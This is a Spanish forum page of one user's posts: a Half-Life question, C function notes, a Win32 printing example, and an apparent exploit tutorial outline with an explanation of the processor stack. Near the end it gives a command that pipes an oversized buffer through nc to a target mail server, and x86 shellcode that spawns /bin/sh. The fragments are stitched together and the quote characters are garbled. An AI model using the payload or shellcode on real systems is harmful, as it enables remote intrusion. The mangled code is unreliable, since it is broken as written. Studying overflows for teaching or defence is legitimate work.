Que tal. Disculpen, alguien sabe cómo se pueden agregar bots en el half-life? (no el counter-strike)
Gracias
Gracias
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCitar
--> Soportar todos los programas en C ANSI Estandar [Yes]
--> Soportar Preprocesadores Tradicionales de C [Yes]
--> Desactivar todos los Mensajes de Aviso (Warnings) [No]
#include <stdio.h>
int printf(const char *format...);
#include <stdio.h>
printf("Cadena de texto");
#include <stdlib.h>
exit();
exit(0); // termina el programa de modo normal.
exit(1); /* termina el programa de forma anormal (se usa generalmente cuando hacés una comprobación, y ésta da NULL o cero). */
exit(3); /* termina el programa abortandolo. */
#include <stdlib.h>
void abort(void);
#include <stdlib.h>
abort(); // Te imprime en la salida estándar: "abnormal program termination"
/*********************************************************************
*
* hwprint.cpp by Tom Lee
*
* Example program to demonstrate printing using the Win32 API/GDI.
* I'm new to printing with the Win32 GDI myself (although I've
* used the GDI heaps before for gfx etc.) - I've been
* trying for a long time to find useful info on the Internet
* about this very thing, but came across next to nothing.
* I thought it'd be a disservice to the Internet not to get
* something about printing with Win32/GDI out the door ASAP!
*
* -------------------------------------------------------------------
*
* Libraries to link in:
*
* kernel32.lib, user32.lib, gdi32.lib, comdlg32.lib
*
********************************************************************/
#include <windows.h>
int WINAPI WinMain( HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow )
{
PRINTDLG pd;
memset( &pd, 0, sizeof( pd ) );
pd.lStructSize = sizeof( pd );
/*
* get rid of PD_RETURNDEFAULT on the line below if you'd like to
* see the "Printer Settings" dialog!
*
*/
pd.Flags = PD_RETURNDEFAULT | PD_RETURNDC;
// try to retrieve the printer DC
if( !PrintDlg( &pd ) )
{
MessageBox( NULL, "PrintDlg( &pd ) failed!", "Fatal Error", MB_OK | MB_ICONERROR );
return -1;
}
DOCINFO di;
HDC hPrinter = pd.hDC;
// initialization of the printing!
memset( &di, 0, sizeof( di ) );
di.cbSize = sizeof( di );
StartDoc( hPrinter, &di );
// start the first and only page
StartPage( hPrinter );
// uncomment the following line to print in colour! :)
// SetTextColor( hPrinter, 0x0000FF );
// write "Hello, World!" to the printer's DC
TextOut( hPrinter, 100, 100, "Hello, World!", 13 );
// finish the first page
EndPage( hPrinter );
// end this document and release the printer's DC
EndDoc( hPrinter );
DeleteDC( hPrinter );
return 0;
}
Citar
-== Introducción. ==-
- C/C++
- Ensamblador (ASM)
- Debugger (Depurador)
- Dissasembler (Desamblador)
- Hex Editor (Editor Hexadecimal)
- La CPU (microprocesador)
- Registros de la CPU.
- ¿Que es una vulnerabilidad?
- ¿Que es un exploit?
- ¿Que es una shellcode?
- ¿Que es un overflow?
- ¿Porque se le llama Stack Overflow?
-== EJEMPLO CODIGO VULNERABLE A STACK OVERFLOW ==-
-== ¿PARA QUE NOS SIRVE UN STACK OVERFLOW? ==-
-== COMO HACER UNA SHELLCODE BASICA ==-
-== CREANDO EL EXPLOIT ==-
-== DOCUMENTACION ==-
-== AGRADECIMIENTOS ==-
Citar
- La pila del procesador:
-------------------------
La pila es una característica interna del 8086. Es una estructura de
datos situada en la RAM. Proporciona a los programas un lugar donde
almacenar datos de forma segura, pudiendo compartirlos con otros
procedimientos o programas de forma cómoda y práctica.
La función más importante de la pila es la de mantener las direcciones
de retorno en las llamadas a procedimientos e interrupciones, así como
guardar los parámetros pasados a estos procedimientos.
La pila también se utiliza para almacenamiento temporal de datos dentro
de un programa, y para muchas cosas más que se aprenden con la práctica.
La pila tiene su nombre por analogía con los montones de platos apilados
(pilas de platos). Cuando un dato nuevo es introducido en la pila, se dice
que es apilado (push) debido a que se sitúa por encima de los demás, es
decir se sitúa en la CIMA de la pila.
Una pila opera en el orden último-en-entrar - primero-en-salir:
LIFO (LAST IN FIRST OUT) o lo que es lo mismo, el último en entrar es
el primero en salir.
Esto significa que cuando la pila se utiliza para seguir la pista de los
retornos de las subrutinas, la primera llamada a subrutina que se hizo,
es la última que se devuelve. De esta manera, la pila mantiene ordenado el
funcionamiento del programa, las subrutinas y rutinas de tratamiento de
interrupción, sin importar la complejidad de la operación.
La pila crece en orden inverso. Es decir, a medida que se añaden nuevos
datos, la cima de la pila se acerca más a posiciones más bajas de memoria.
Existen 3 registros destinados a gestionar la pila.
Registro de segmento de pila (SS): que indica la dirección base del
segmento de pila
Puntero de pila (SP): que apunta a la cima de la pila.
Puntero base de pila (BP): que se usa para moverse a través de la pila
sin cambiar la cima. Se suele utilizar para acceder a los distintos
parámetros al llamar a una función.
Los elementos que se almacenan en la pila son del tipo palabra (2 bytes).
Esto quiere decir, entre otras cosas, que el puntero de pila (SP), así como
el puntero base de pila (BP), incrementan/decrementan en 2 su valor para
apuntar a un nuevo elemento dentro de la pila, fruto de apilar o desapilar
un elemento.
También conlleva el que si queremos almacenar un byte en la pila, primero
lo debemos convertir en palabra (2 bytes), y luego almacenar esa palabra.
Esto es muy sencillo, sólo hay que meter ese byte o registro de 8 bits
en un registro de 16 bits y almacenar este registro.
Las instrucciones para manejar la pila son:
PUSH ---> Guarda un dato en la pila. Decrementando SP en 2 unidades, para
que apunte al nuevo elemento a introducir.
Ejemplo: PUSH AX --> Apila el contenido de AX en la cima de la
pila.
POP ----> Obtiene un dato de la pila. Incrementando SP en 2 unidades, para
que apunte al nuevo elemento a introducir.
Ejemplo: POP AX --> Desapila el contenido de la cima de la pila
en el registro AX. Es decir, AX contendrá el valor
que hubiera en la cima de la pila, y el puntero de pila
se actualiza incrementándolo en 2.
PUSHF --> Guarda el contenido del registro de estado (FLAGS) en la pila.
Decrementando SP en 2 unidades, para que apunte al nuevo elemento
a introducir.
No es necesario indicar sobre qué actúa esta instrucción, lo
lleva implícito en su nombre PUSHF (PUSH FLAGS).
POPF ---> Introduce en el registro FLAGS el contenido de la cima de la
pila. Incrementando SP en 2 unidades, para que apunte al nuevo
elemento a introducir.
Al igual que con la instrucción anterior, no es necesario indicar
sobre qué actúa esta instrucción POPF (POP FLAGS).
Conviene recordar el hecho de que la pila crece en orden inverso al
normal, es decir de direcciones de memoria altas a direcciones bajas.
Por lo tanto es necesario tener en cuenta el uso que se va a hacer de
la pila en el programa, debido a que si reservamos espacio en nuestro
programa para una pila pequeña, en caso de sobrepasarla haciendo muchos
push seguidos, machacaría nuestro programa.
Hay que tener en cuenta que no sólo es nuestro programa el que utiliza
la pila mediante la instrucción PUSH y mediante llamadas a procedimientos,
interrupciones, etc. Sino que mientras nuestro programa corre se están
sucediendo numerosas interrupciones que conllevan muchos PUSH.
Por ejemplo, 18'2 veces por segundo se produce la interrupción de reloj,
con lo cual, todas estas veces se está apilando y posteriormente
quitando información de la pila.
Por regla general, basta con tener una pila de unos 2 KS, es decir, espacio
para almacenar 1024 elementos. Es muy difícil que se sobrepase este tamaño.
* strcpy();
* strcat();
* sprintf();
Echo ?sendmail 'perl -e 'print ?a? x 1000' ' ? |nc www.victima.com 25
char shellcode [] =
? \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b?
? \x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd?
? \x80\xe8\xdc\xff\xff\xff\bin\sh ? ;